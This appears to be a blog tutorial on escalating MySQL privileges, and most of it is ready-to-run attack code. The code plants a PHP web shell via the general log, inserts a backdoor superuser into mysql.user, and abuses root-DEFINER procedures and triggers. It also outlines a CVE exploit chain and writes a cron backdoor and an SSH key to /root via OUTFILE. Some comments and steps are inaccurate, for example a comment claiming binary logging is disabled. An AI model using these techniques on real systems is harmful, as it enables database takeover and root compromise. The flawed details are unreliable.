MySQL Security

MySQL Privilege Escalation

Youssef
17 May 2026

MySQL Privilege Escalation

Understanding MySQL Privilege Levels

MySQL privileges exist at four levels: global, database, table, and column. Escalation means moving from a low-privilege user (e.g., a read-only web app account) to DBA or OS-level access. The paths depend on what privileges you already have.

-- Check current privileges
SHOW GRANTS;
SHOW GRANTS FOR CURRENT_USER();

-- Check all user privileges (requires access to mysql db)
SELECT user, host, Super_priv, File_priv, Grant_priv, Create_priv
FROM mysql.user;

-- Check specific DB privileges
SELECT * FROM information_schema.schema_privileges WHERE grantee LIKE '%webapp%';

Path 1 — Abusing SUPER Privilege

SUPER allows setting global variables, killing any connection, and bypassing many restrictions.

-- With SUPER: disable binary logging to hide activity
SET GLOBAL general_log = 'ON';
SET GLOBAL general_log_file = '/var/www/html/shell.php';

-- Now every SQL query gets logged to shell.php
SELECT '<?php system($_GET["cmd"]); ?>';
-- Visit /shell.php?cmd=id → RCE

Path 2 — Writing to mysql.user (INSERT Privilege)

-- If you have INSERT on mysql database
INSERT INTO mysql.user (Host,User,Password,Select_priv,Insert_priv,Update_priv,
Delete_priv,Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,File_priv,
Grant_priv,References_priv,Index_priv,Alter_priv,Show_db_priv,Super_priv,
Create_tmp_table_priv,Lock_tables_priv,Execute_priv,Repl_slave_priv,Repl_client_priv,
Create_view_priv,Show_view_priv,Create_routine_priv,Alter_routine_priv,Create_user_priv,ssl_cipher,x509_issuer,x509_subject)
VALUES ('localhost','backdoor',PASSWORD('pass'),'Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','','','');
FLUSH PRIVILEGES;

Path 3 — Stored Procedure with DEFINER=root

-- If a stored procedure exists with SQL SECURITY DEFINER and DEFINER=root
-- you can call it to execute privileged operations even as low-priv user

-- Find such procedures
SELECT routine_name, definer, security_type
FROM information_schema.routines
WHERE security_type = 'DEFINER' AND definer LIKE 'root%';

-- Example: create backdoor via stored proc (if you have CREATE ROUTINE)
CREATE DEFINER='root'@'localhost' PROCEDURE add_admin()
SQL SECURITY DEFINER
BEGIN
    INSERT INTO mysql.user (...) VALUES ('localhost','hacker',PASSWORD('p'),...);
    FLUSH PRIVILEGES;
END;
CALL add_admin();

Path 4 — Trigger-Based Escalation

-- Create a trigger that fires on INSERT to a table you can write to
-- The trigger executes with the DEFINER's privileges

CREATE DEFINER='root'@'localhost' TRIGGER priv_esc
AFTER INSERT ON webapp.logs
FOR EACH ROW
BEGIN
    UPDATE mysql.user SET Super_priv='Y' WHERE user='webapp';
    FLUSH PRIVILEGES;
END;

-- Trigger it
INSERT INTO webapp.logs VALUES ('test');

Path 5 — CVE-2016-6663/6664 Chain

-- CVE-2016-6663: Race condition allows low-priv user to execute code as mysql OS user
-- CVE-2016-6664: Combined with 6663 allows escalation from mysql user to root

-- Exploit available at: https://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html
-- Requires: CREATE TEMPORARY TABLE privilege

-- Steps:
-- 1. Create temp table to trigger race
-- 2. Race condition allows writing malicious .so to plugin dir
-- 3. Load UDF from .so → OS command as mysql user
-- 4. mysql user often has SUID binary → root

Path 6 — MySQL Running as Root (Misconfiguration)

-- Check what OS user mysqld runs as
ps aux | grep mysqld
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep user

-- If MySQL runs as root and you have FILE privilege:
SELECT '' INTO OUTFILE '/etc/cron.d/mysql_backdoor';
-- Or write SSH key to /root/.ssh/authorized_keys
SELECT 'ssh-rsa AAAA...' INTO OUTFILE '/root/.ssh/authorized_keys';

Key Insight: Always check if MySQL runs as root (ps aux | grep mysqld). If it does AND you have FILE privilege, the path to system compromise is trivial. The SUPER + general_log trick is the cleanest escalation when OUTFILE is restricted but log writing is permitted.